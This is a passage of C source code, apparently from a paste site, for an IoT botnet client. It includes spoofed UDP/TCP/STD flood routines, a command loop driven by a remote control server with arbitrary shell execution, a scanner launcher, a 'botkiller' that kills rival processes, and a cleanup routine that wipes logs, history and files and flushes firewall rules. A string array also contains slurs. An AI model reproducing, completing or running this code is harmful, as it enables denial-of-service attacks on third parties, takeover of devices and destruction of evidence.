  2593. sin.sin_port = port;
  2594. unsigned int a = 0;
  2595. while(1){
  2596. char *randstrings[] = {"arfgG", "HBiug655", "KJYDFyljf754", "LIKUGilkut769458905", "JHFDSkgfc5747694", "GJjyur67458", "RYSDk747586", "HKJGi5r8675", "KHGK7985i", "yuituiILYF", "GKJDghfcjkgd4", "uygtfgtrevf", "tyeuhygbtfvg", "ewqdcftr", "trbazetghhnbrty", "tbhrwsehbg", "twehgbferhb", "etrbhhgetrb", "edfverthbyrtb", "kmiujmnhnhfgn", "zcdbvgdfsbgfd", "gdfbtsdgb", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk", "std", "dts", "hackz", "shdyed", "http", "sghwiondc", "nigger", "pussy", "faggot"};
  2597. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  2598. if (a >= 50)
  2599. {
  2600. send(iSTD_Sock, STD2_STRING, STD_PIGZ, 0);
  2601. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  2602. if (time(NULL) >= start + secs)
  2603. {
  2604. close(iSTD_Sock);
  2605. _exit(0);
  2606. }
  2607. a = 0;
  2608. }
  2609. a++;
  2610. }
  2611. }
  2612.  
  2613. //          ___  ___     ___ _                 _
  2614. //  /\ /\  /   \/ _ \   / __\ | ___   ___   __| |
  2615. // / / \ \/ /\ / /_)/  / _\ | |/ _ \ / _ \ / _` |
  2616. // \ \_/ / /_// ___/  / /   | | (_) | (_) | (_| |
  2617. //  \___/___,'\/      \/    |_|\___/ \___/ \__,_|
  2618.  
  2619. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  2620. {
  2621.         struct sockaddr_in dest_addr;
  2622.  
  2623.         dest_addr.sin_family = AF_INET;
  2624.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  2625.         else dest_addr.sin_port = htons(port);
  2626.         if(getHost(target, &dest_addr.sin_addr)) return;
  2627.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2628.  
  2629.         register unsigned int pollRegister;
  2630.         pollRegister = pollinterval;
  2631.  
  2632.         if(spoofit == 32)
  2633.         {
  2634.                 int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  2635.                 if(!sockfd)
  2636.                 {
  2637.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  2638.                         return;
  2639.                 }
  2640.  
  2641.                 unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  2642.                 if(buf == NULL) return;
  2643.                 memset(buf, 0, packetsize + 1);
  2644.                 makeRandomStr(buf, packetsize);
  2645.  
  2646.                 int end = time(NULL) + timeEnd;
  2647.                 register unsigned int i = 0;
  2648.                 while(1)
  2649.                 {
  2650.                         sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2651.  
  2652.                         if(i == pollRegister)
  2653.                         {
  2654.                                 if(port == 0) dest_addr.sin_port = rand_cmwc();
  2655.                                 if(time(NULL) > end) break;
  2656.                                 i = 0;
  2657.                                 continue;
  2658.                         }
  2659.                         i++;
  2660.                 }
  2661.         } else {
  2662.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  2663.                 if(!sockfd)
  2664.                 {
  2665.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  2666.                         //sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  2667.                         return;
  2668.                 }
  2669.  
  2670.                 int tmp = 1;
  2671.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2672.                 {
  2673.                         sockprintf(mainCommSock, "Failed setting raw headers mode.");
  2674.                         return;
  2675.                 }
  2676.  
  2677.                 int counter = 50;
  2678.                 while(counter--)
  2679.                 {
  2680.                         srand(time(NULL) ^ rand_cmwc());
  2681.                         init_rand(rand());
  2682.                 }
  2683.  
  2684.                 in_addr_t netmask;
  2685.  
  2686.                 if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2687.                 else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2688.  
  2689.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  2690.                 struct iphdr *iph = (struct iphdr *)packet;
  2691.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  2692.  
  2693.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  2694.  
  2695.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  2696.                 udph->source = rand_cmwc();
  2697.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2698.                 udph->check = 0;
  2699.  
  2700.                 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  2701.  
  2702.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2703.  
  2704.                 int end = time(NULL) + timeEnd;
  2705.                 register unsigned int i = 0;
  2706.                 while(1)
  2707.                 {
  2708.                         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2709.  
  2710.                         udph->source = rand_cmwc();
  2711.                         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2712.                         iph->id = rand_cmwc();
  2713.                         iph->saddr = htonl( getRandomIP(netmask) );
  2714.                         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2715.  
  2716.                         if(i == pollRegister)
  2717.                         {
  2718.                                 if(time(NULL) > end) break;
  2719.                                 i = 0;
  2720.                                 continue;
  2721.                         }
  2722.                         i++;
  2723.                 }
  2724.         }
  2725. }
  2726.  
  2727. //  _____  ___   ___     ___ _                 _
  2728. // /__   \/ __\ / _ \   / __\ | ___   ___   __| |
  2729. //   / /\/ /   / /_)/  / _\ | |/ _ \ / _ \ / _` |
  2730. //  / / / /___/ ___/  / /   | | (_) | (_) | (_| |
  2731. //  \/  \____/\/      \/    |_|\___/ \___/ \__,_|
  2732.  
  2733. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  2734. {
  2735.         register unsigned int pollRegister;
  2736.         pollRegister = pollinterval;
  2737.  
  2738.         struct sockaddr_in dest_addr;
  2739.  
  2740.         dest_addr.sin_family = AF_INET;
  2741.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  2742.         else dest_addr.sin_port = htons(port);
  2743.         if(getHost(target, &dest_addr.sin_addr)) return;
  2744.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2745.  
  2746.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  2747.         if(!sockfd)
  2748.         {
  2749.                 sockprintf(mainCommSock, "Failed opening raw socket.");
  2750.                 return;
  2751.         }
  2752.  
  2753.         int tmp = 1;
  2754.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2755.         {
  2756.                 sockprintf(mainCommSock, "Failed setting raw headers mode.");
  2757.                 return;
  2758.         }
  2759.  
  2760.         in_addr_t netmask;
  2761.  
  2762.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2763.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2764.  
  2765.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  2766.         struct iphdr *iph = (struct iphdr *)packet;
  2767.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  2768.  
  2769.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  2770.  
  2771.         tcph->source = rand_cmwc();
  2772.         tcph->seq = rand_cmwc();
  2773.         tcph->ack_seq = 0;
  2774.         tcph->doff = 5;
  2775.  
  2776.         if(!strcmp(flags, "all"))
  2777.         {
  2778.                 tcph->syn = 1;
  2779.                 tcph->rst = 1;
  2780.                 tcph->fin = 1;
  2781.                 tcph->ack = 1;
  2782.                 tcph->psh = 1;
  2783.         } else {
  2784.                 unsigned char *pch = strtok(flags, ",");
  2785.                 while(pch)
  2786.                 {
  2787.                         if(!strcmp(pch,         "syn"))
  2788.                         {
  2789.                                 tcph->syn = 1;
  2790.                         } else if(!strcmp(pch,  "rst"))
  2791.                         {
  2792.                                 tcph->rst = 1;
  2793.                         } else if(!strcmp(pch,  "fin"))
  2794.                         {
  2795.                                 tcph->fin = 1;
  2796.                         } else if(!strcmp(pch,  "ack"))
  2797.                         {
  2798.                                 tcph->ack = 1;
  2799.                         } else if(!strcmp(pch,  "psh"))
  2800.                         {
  2801.                                 tcph->psh = 1;
  2802.                         } else {
  2803.                                 sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  2804.                         }
  2805.                         pch = strtok(NULL, ",");
  2806.                 }
  2807.         }
  2808.  
  2809.         tcph->window = rand_cmwc();
  2810.         tcph->check = 0;
  2811.         tcph->urg_ptr = 0;
  2812.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2813.         tcph->check = tcpcsum(iph, tcph);
  2814.  
  2815.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2816.  
  2817.         int end = time(NULL) + timeEnd;
  2818.         register unsigned int i = 0;
  2819.         while(1)
  2820.         {
  2821.                 sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2822.  
  2823.                 iph->saddr = htonl( getRandomIP(netmask) );
  2824.                 iph->id = rand_cmwc();
  2825.                 tcph->seq = rand_cmwc();
  2826.                 tcph->source = rand_cmwc();
  2827.                 tcph->check = 0;
  2828.                 tcph->check = tcpcsum(iph, tcph);
  2829.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2830.  
  2831.                 if(i == pollRegister)
  2832.                 {
  2833.                         if(time(NULL) > end) break;
  2834.                         i = 0;
  2835.                         continue;
  2836.                 }
  2837.                 i++;
  2838.         }
  2839. }
  2840.  
  2841. void botkiller(){
  2842. char* teldirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", (char*) 0};//wtf are we doing here well these are the directory
  2843. char* Boats[] = {"wget", "armv*", "bot*", "ntpd*", "hackz*", "shitty*","jack*", "mips*", "sex*", "i86", "ssh*", "sh4*", "jackmeoff*", "tftp*", "i56", "mips", "mipsel", "sh4", "x86", "i686", "ppc", "i586", "i586"};
  2844. const char *bots[] = {"jackmy*", "busybox*", "bin*", "sex*", "tftp*", "arm*", "mipsel*", "mips*", "mips64*", "i686*","sparc*", "sh4*", "bot*", "jackmeoff*", "hackz*", "bruv*"};
  2845. char hacker[80];
  2846. char botkill[80];
  2847. char buf[128];
  2848. int i, num_tmps, j;
  2849. for(j = 0; j < num_tmps; j++)
  2850. {
  2851. memset(buf, 0, 128);
  2852. if(j == 0)
  2853. snprintf(buf, 127, ">%s.t && cd %s && for a in `ls -a %s`; do >$a; done; >retrieve ;echo ps aux >> proc ; pkill -9 %d\r\n", teldirs[j], teldirs[j], teldirs[j], teldirs[j], bots[j]);
  2854. else
  2855. snprintf(buf, 127, ">%s.t && cd %s ; >retrieve\r\n", teldirs[j], teldirs[j], teldirs[j]);
  2856. system(buf);
  2857. sprintf(botkill, "pkill -9 %s\r\n", bots[j]);
  2858. system(botkill);
  2859. return;
  2860. }
  2861. sleep(5);
  2862. }
  2863. //Cleaning Device
  2864. void RemoveTMP() {
  2865. system("rm -rf /tmp/* /var/* /var/run/* /var/tmp/*");
  2866. system("rm -rf /var/log/wtmp");
  2867. system("history -c;history -w");
  2868. system("rm -rf /var/log/wtmp");
  2869. system("rm -rf /tmp/*");
  2870. system("history -c");
  2871. system("rm -rf ~/.bash_history");
  2872. system("rm -rf /bin/netstat");
  2873. system("history -w");
  2874. system("pkill -9 busybox");
  2875. system("pkill -9 perl");
  2876. system("service iptables stop");
  2877. system("/sbin/iptables -F;/sbin/iptables -X");
  2878. }
  2879.  
  2880. //   _____  __    ___                _
  2881. //   \_   \/__\  / __\   /\/\   __ _(_)_ __
  2882. //    / /\/ \// / /     /    \ / _` | | '_ \
  2883. // /\/ /_/ _  \/ /___  / /\/\ \ (_| | | | | |
  2884. // \____/\/ \_/\____/  \/    \/\__,_|_|_| |_|
  2885.  
  2886. void processCmd(int argc, unsigned char *argv[])
  2887. {
  2888.     int x;
  2889.         if(!strcmp(argv[0], "PING"))
  2890.         {
  2891.                 sockprintf(mainCommSock, "PONG!");
  2892.                 return;
  2893.         }
  2894.  
  2895.         if(!strcmp(argv[0], "GETLOCALIP"))
  2896.         {
  2897.                 sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  2898.                 return;
  2899.         }
  2900. if(!strcmp(argv[0], "BOTKILL"))
  2901. {
  2902. if(!listFork())
  2903. {
  2904. sockprintf(mainCommSock, "[BOTKILLER] [STARTED] [%s]", inet_ntoa(ourIP));
  2905. botkiller();
  2906. RemoveTMP();
  2907. _exit(0);
  2908. }
  2909. }
  2910. if(!strcmp(argv[0], "SCANNER"))
  2911. {
  2912. if(!strcmp(argv[1], "OFF"))
  2913. {
  2914. if(scanPid == 0) return;
  2915. kill(scanPid, 9);
  2916. //sockprintf(mainCommSock, "STOPPING SCANNER");
  2917. scanPid = 0;
  2918. }
  2919. if(!strcmp(argv[1], "ON"))
  2920. {
  2921. if(scanPid != 0) return;
  2922. uint32_t parent;
  2923. parent = fork();
  2924. int threads = 400;//if you change this it adds more threads to the scanner but will also fuck your bots.
  2925. int timeout = 7;
  2926. if (parent > 0) { scanPid = parent; return;}
  2927. else if(parent == -1) return;
  2928. //sockprintf(mainCommSock, "STARTING SCANNER ON -> %s", inet_ntoa(ourIP));
  2929. StartTheLelz(timeout, threads);
  2930. _exit(0);
  2931. }
  2932. }
  2933.  
  2934.  
  2935.         if(!strcmp(argv[0], "UDP"))
  2936.         {
  2937.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  2938.                 {
  2939.                         //sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
  2940.                         return;
  2941.                 }
  2942.  
  2943.                 unsigned char *ip = argv[1];
  2944.                 int port = atoi(argv[2]);
  2945.                 int time = atoi(argv[3]);
  2946.                 int spoofed = atoi(argv[4]);
  2947.                 int packetsize = atoi(argv[5]);
  2948.                 int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  2949.  
  2950.                 if(strstr(ip, ",") != NULL)
  2951.                 {
  2952.                         unsigned char *hi = strtok(ip, ",");
  2953.                         while(hi != NULL)
  2954.                         {
  2955.                                 if(!listFork())
  2956.                                 {
  2957.                                         sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  2958.                                         _exit(0);
  2959.                                 }
  2960.                                 hi = strtok(NULL, ",");
  2961.                         }
  2962.                 } else {
  2963.                         if (listFork()) { return; }
  2964.  
  2965.                         sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  2966.                         _exit(0);
  2967.                 }
  2968.         }
  2969.  
  2970.         if (!strcmp(argv[0], "HTTP"))
  2971.     {
  2972.         if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;
  2973.         if (listFork()) return;
  2974.         sockprintf(mainCommSock, "HTTP %s Flooding %s:%d for %d seconds", argv[1], argv[2], atoi(argv[3]), atoi(argv[5]));
  2975.         sendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  2976.         exit(0);
  2977.     }
  2978.         if(!strcmp(argv[0], "PHONE")) {
  2979. if(argc != 2) {
  2980. return; }
  2981. if(!strcmp(argv[1], "OFF")) {
  2982. if(Phonepid == 0) return;
  2983. kill(Phonepid, 9);
  2984. Phonepid = 0; }
  2985. if(!strcmp(argv[1], "ON")) {
  2986. if(Phonepid != 0) return;
  2987. uint32_t parent;
  2988. parent = fork();
  2989. if (parent > 0) { Phonepid = parent; return;}
  2990. else if(parent == -1) return;
  2991. PhoneScanner();
  2992. _exit(0);
  2993. }
  2994. }
  2995.  
  2996.         if(!strcmp(argv[0], "STD"))
  2997.         {
  2998.             if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2999.             {
  3000.                        
  3001.                         return;
  3002.             }
  3003.            
  3004.             unsigned char *ip = argv[1];
  3005.             int port = atoi(argv[2]);
  3006.             int time = atoi(argv[3]);
  3007.            
  3008.             if(strstr(ip, ",") != NULL)
  3009.                 {
  3010.                         unsigned char *hi = strtok(ip, ",");
  3011.                         while(hi != NULL)
  3012.                         {
  3013.                                 if(!listFork())
  3014.                                 {
  3015.                                         sendSTD(hi, port, time);
  3016.                                         _exit(0);
  3017.                                 }
  3018.                                 hi = strtok(NULL, ",");
  3019.                         }
  3020.                 } else {
  3021.                         if (listFork()) { return; }
  3022.  
  3023.                         sendSTD(ip, port, time);
  3024.                         _exit(0);
  3025.                 }
  3026.            
  3027.         }
  3028.  
  3029.         if(!strcmp(argv[0], "TCP"))
  3030.         {
  3031.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  3032.                 {
  3033.                         //sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  3034.                         return;
  3035.                 }
  3036.  
  3037.                 unsigned char *ip = argv[1];
  3038.                 int port = atoi(argv[2]);
  3039.                 int time = atoi(argv[3]);
  3040.                 int spoofed = atoi(argv[4]);
  3041.                 unsigned char *flags = argv[5];
  3042.  
  3043.                 int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  3044.                 int psize = argc > 6 ? atoi(argv[6]) : 0;
  3045.  
  3046.                 if(strstr(ip, ",") != NULL)
  3047.                 {
  3048.                         unsigned char *hi = strtok(ip, ",");
  3049.                         while(hi != NULL)
  3050.                         {
  3051.                                 if(!listFork())
  3052.                                 {
  3053.                                         sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  3054.                                         _exit(0);
  3055.                                 }
  3056.                                 hi = strtok(NULL, ",");
  3057.                         }
  3058.                 } else {
  3059.                         if (listFork()) { return; }
  3060.  
  3061.                         sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  3062.                         _exit(0);
  3063.                 }
  3064.         }
  3065.  
  3066.     if(!strcmp(argv[0], "KILLATTK"))
  3067.         {
  3068.                 int killed = 0;
  3069.                 unsigned long i;
  3070.                 for (i = 0; i < numpids; i++) {
  3071.                         if (pids[i] != 0 && pids[i] != getpid()) {
  3072.                                 kill(pids[i], 9);
  3073.                                 killed++;
  3074.                         }
  3075.                 }
  3076.  
  3077.                 if(killed > 0)
  3078.                 {
  3079.                         //sockprintf(mainCommSock, "Killed %d.", killed);
  3080.                 } else {
  3081.                         //sockprintf(mainCommSock, "None Killed.");
  3082.                 }
  3083.         }
  3084.  
  3085.         if(!strcmp(argv[0], "LOLNOGTFO"))
  3086.         {
  3087.                 exit(0);
  3088.         }
  3089. }
  3090.  
  3091. int initConnection()
  3092. {
  3093.         unsigned char server[4096];
  3094.         memset(server, 0, 4096);
  3095.         if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
  3096.         if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  3097.         else currentServer++;
  3098.  
  3099.         strcpy(server, commServer[currentServer]);
  3100.         int port = 23;
  3101.         if(strchr(server, ':') != NULL)
  3102.         {
  3103.                 port = atoi(strchr(server, ':') + 1);
  3104.                 *((unsigned char *)(strchr(server, ':'))) = 0x0;
  3105.         }
  3106.  
  3107.         mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  3108.  
  3109.         if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  3110.  
  3111.         return 0;
  3112. }
  3113.  
  3114. int getOurIP()
  3115. {
  3116.         int sock = socket(AF_INET, SOCK_DGRAM, 0);
  3117.         if(sock == -1) return 0;
  3118.  
  3119.         struct sockaddr_in serv;
  3120.         memset(&serv, 0, sizeof(serv));
  3121.         serv.sin_family = AF_INET;
  3122.         serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  3123.         serv.sin_port = htons(53);
  3124.  
  3125.         int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  3126.         if(err == -1) return 0;
  3127.  
  3128.         struct sockaddr_in name;
  3129.         socklen_t namelen = sizeof(name);
  3130.         err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  3131.         if(err == -1) return 0;
  3132.  
  3133.         ourIP.s_addr = name.sin_addr.s_addr;
  3134.  
  3135.         int cmdline = open("/proc/net/route", O_RDONLY);
  3136.         char linebuf[4096];
  3137.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  3138.         {
  3139.                 if(strstr(linebuf, "\t00000000\t") != NULL)
  3140.                 {
  3141.                         unsigned char *pos = linebuf;
  3142.                         while(*pos != '\t') pos++;
  3143.                         *pos = 0;
  3144.                         break;
  3145.                 }
  3146.                 memset(linebuf, 0, 4096);
  3147.         }
  3148.         close(cmdline);
  3149.  
  3150.         if(*linebuf)
  3151.         {
  3152.                 int i;
  3153.                 struct ifreq ifr;
  3154.                 strcpy(ifr.ifr_name, linebuf);
  3155.                 ioctl(sock, SIOCGIFHWADDR, &ifr);
  3156.                 for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  3157.         }
  3158.  
  3159.         close(sock);
  3160. }
  3161.  
  3162. char *getBuild()
  3163. {
  3164.     #ifdef MIPS_BUILD
  3165.     return "MIPS";
  3166.     #elif MIPSEL_BUILD
  3167.     return "MIPSEL";
  3168.     #elif X86_BUILD
  3169.     return "X86";
  3170.     #elif ARM_BUILD
  3171.     return "ARM";
  3172.     #elif PPC_BUILD
  3173.     return "POWERPC";
  3174.     #else
  3175.     return "HITTA";
  3176.     #endif
  3177. }
  3178.  
  3179. int main(int argc, unsigned char *argv[])
  3180. {
  3181.         char *mynameis = "";
  3182.         if(SERVER_LIST_SIZE <= 0) return 0;
  3183.     printf("[CONNECTED] [%s] [%s]\n", getBuild(), inet_ntoa(ourIP));
  3184.     strncpy(argv[0],"",strlen(argv[0]));
  3185.         argv[0] = "";
  3186.         prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  3187.     srand(time(NULL) ^ getpid());
  3188.         init_rand(time(NULL) ^ getpid());
  3189.         pid_t pid1;
  3190.         pid_t pid2;
  3191.         int status;
  3192.  
  3193.         getOurIP();
  3194.  
  3195.         if (pid1 = fork()) {
  3196.                         waitpid(pid1, &status, 0);
  3197.                         exit(0);
  3198.         } else if (!pid1) {
  3199.                         if (pid2 = fork()) {
  3200.                                         exit(0);
  3201.                         } else if (!pid2) {
  3202.                         } else {
  3203.                                         //zprintf("fork failed\n");
  3204.                         }
  3205.         } else {
  3206.                         //zprintf("fork failed\n");
  3207.         }
  3208.  
  3209.         setsid();
  3210.         chdir("/");
  3211.  
  3212.         signal(SIGPIPE, SIG_IGN);
  3213.  
  3214.         while(1)
  3215.         {
  3216.                 if(initConnection()) { sleep(5); continue; }
  3217.  
  3218.         sockprintf(mainCommSock, "\x1b[0;32m[CONNECTED] [%s] [%s]", getBuild(), inet_ntoa(ourIP));
  3219.                 char commBuf[4096];
  3220.                 int got = 0;
  3221.                 int i = 0;
  3222.                 while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  3223.                 {
  3224.                         for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  3225.                                 unsigned int *newpids, on;
  3226.                                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  3227.                                 pids[on - 1] = 0;
  3228.                                 numpids--;
  3229.                                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  3230.                                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  3231.                                 free(pids);
  3232.                                 pids = newpids;
  3233.                         }
  3234.  
  3235.                         commBuf[got] = 0x00;
  3236.  
  3237.                         trim(commBuf);
  3238.  
  3239.                         if(strstr(commBuf, "PING") == commBuf)
  3240.                         {
  3241.                                 sockprintf(mainCommSock, "PONG");
  3242.                                 continue;
  3243.                         }
  3244.  
  3245.                         if(strstr(commBuf, "DUP") == commBuf) exit(0);
  3246.  
  3247.                         unsigned char *message = commBuf;
  3248.  
  3249.                         if(*message == '!')
  3250.                         {
  3251.                                 unsigned char *nickMask = message + 1;
  3252.                                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  3253.                                 if(*nickMask == 0x00) continue;
  3254.                                 *(nickMask) = 0x00;
  3255.                                 nickMask = message + 1;
  3256.  
  3257.                                 message = message + strlen(nickMask) + 2;
  3258.                                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  3259.  
  3260.                                 unsigned char *command = message;
  3261.                                 while(*message != ' ' && *message != 0x00) message++;
  3262.                                 *message = 0x00;
  3263.                                 message++;
  3264.  
  3265.                                 unsigned char *tmpcommand = command;
  3266.                                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  3267.  
  3268.                                 if(strcmp(command, "SH") == 0)
  3269.                                 {
  3270.                                         unsigned char buf[1024];
  3271.                                         int command;
  3272.                                         if (listFork()) continue;
  3273.                                         memset(buf, 0, 1024);
  3274.                                         szprintf(buf, "%s 2>&1", message);
  3275.                                         command = fdpopen(buf, "r");
  3276.                                         while(fdgets(buf, 1024, command) != NULL)
  3277.                                         {
  3278.                                                 trim(buf);
  3279. //                                                sockprintf(mainCommSock, "%s", buf);
  3280.                                                 memset(buf, 0, 1024);
  3281.                                                 sleep(1);
  3282.                                         }
  3283.                                         fdpclose(command);
  3284.                                         exit(0);
  3285.                                 }
  3286.  
  3287.                                 unsigned char *params[10];
  3288.                                 int paramsCount = 1;
  3289.                                 unsigned char *pch = strtok(message, " ");
  3290.                                 params[0] = command;
  3291.  
  3292.                                 while(pch)
  3293.                                 {
  3294.                                         if(*pch != '\n')
  3295.                                         {
  3296.                                                 params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  3297.                                                 memset(params[paramsCount], 0, strlen(pch) + 1);
  3298.                                                 strcpy(params[paramsCount], pch);
  3299.                                                 paramsCount++;
  3300.                                         }
  3301.                                         pch = strtok(NULL, " ");
  3302.                                 }
  3303.  
  3304.                                 processCmd(paramsCount, params);
  3305.  
  3306.                                 if(paramsCount > 1)
  3307.                                 {
  3308.                                         int q = 1;
  3309.                                         for(q = 1; q < paramsCount; q++)
  3310.                                         {
  3311.                                                 free(params[q]);
  3312.                                         }
  3313.                                 }
  3314.                         }
  3315.                      }
  3316.                printf("BYE MISTER HITTA!\n");
  3317.     }
  3318.  
  3319.     return 0;
  3320.  
  3321. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement